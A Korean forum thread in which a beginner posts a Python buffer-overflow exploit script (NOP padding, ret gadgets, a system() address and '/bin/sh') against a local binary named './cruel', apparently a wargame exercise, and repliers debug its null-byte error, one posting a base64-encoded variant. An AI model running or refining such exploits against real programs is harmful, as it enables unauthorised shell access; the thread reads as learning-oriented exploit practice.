파이썬 문자열오류

qkrwncks593의 이미지

파이썬 초보입니다.

os.system() 메서드를 사용하는데 NULL 문자에러가 발생하네요 ;;
아래는 소스코드입니다.

from struct import pack
import os
import sys
 
p = lambda x : pack("<L", x)
 
ret = 0x08048451 # ret gadget
system_addr = 0x07db0e7
i = 0
 
while 1:
        payload = "./cruel "
        payload += "\x90"*268
        payload += p(ret)*(i+1)
        payload += p(system_addr)
        payload += " "
        payload += "/bin/sh"
        i = i+1
        os.system(payload)
 
 
print("NOT Exploit..")

------------------ 에러내용 ------------

File "./exploit.py", line 19, in ?
os.system(payload)
TypeError: system() argument 1 must be string without null bytes, not str

----------------------------

snowall의 이미지

스트링이 아닌걸 넣었겠죠

피할 수 있을때 즐겨라! http://melotopia.net/b

세이군의 이미지

범인(?)으로 추정되는 부분이
1. payload = "./curel "
2. payload += " "
이 두 줄입니다. 따옴표 안에 있는 부분이 공백문자로 추정됩니다.

qiiiiiiiip의 이미지

"\x90" 가 범인일것 같은데요..

http://ubuntuforums.org/archive/index.php/t-1141685.html 에 따르면,
backslash가 python에서 해석돼서 그럴수 있다는

payload += r"\x90"*268

이라고 해보시죠..

snowall의 이미지

백슬래시가 문제면 백슬래시 두개를 넣어서 탈출문자로 처리해주면 될거예요

피할 수 있을때 즐겨라! http://melotopia.net/b

chanik의 이미지

> system_addr = 0x07db0e7
> p(system_addr)
'\xe7\xb0}\x00'

4바이트 빅엔디안 pack된 문자의 마지막 바이트가 '\x00'
즉 null byte라서 생긴 문제같습니다.

chanik의 이미지

아래와 같이 payload 부분을 base64 인코딩해서 넘긴다든지 하면 되겠네요.
물론 ./cruel 프로그램에서도 base64 디코딩하도록 수정해야겠죠.

from struct import pack
import os
import sys
import base64
 
p = lambda x : pack("<L", x)
 
ret = 0x08048451 # ret gadget
system_addr = 0x07db0e7
i = 0
 
while 1:
        command = "./cruel "
        payload = "\x90"*268
        payload += p(ret)*(i+1)
        payload += p(system_addr)
        command += base64.encodestring(payload)
        command += " "
        command += "/bin/sh"
        i = i+1
        os.system(command)
 
 
print("NOT Exploit..")payload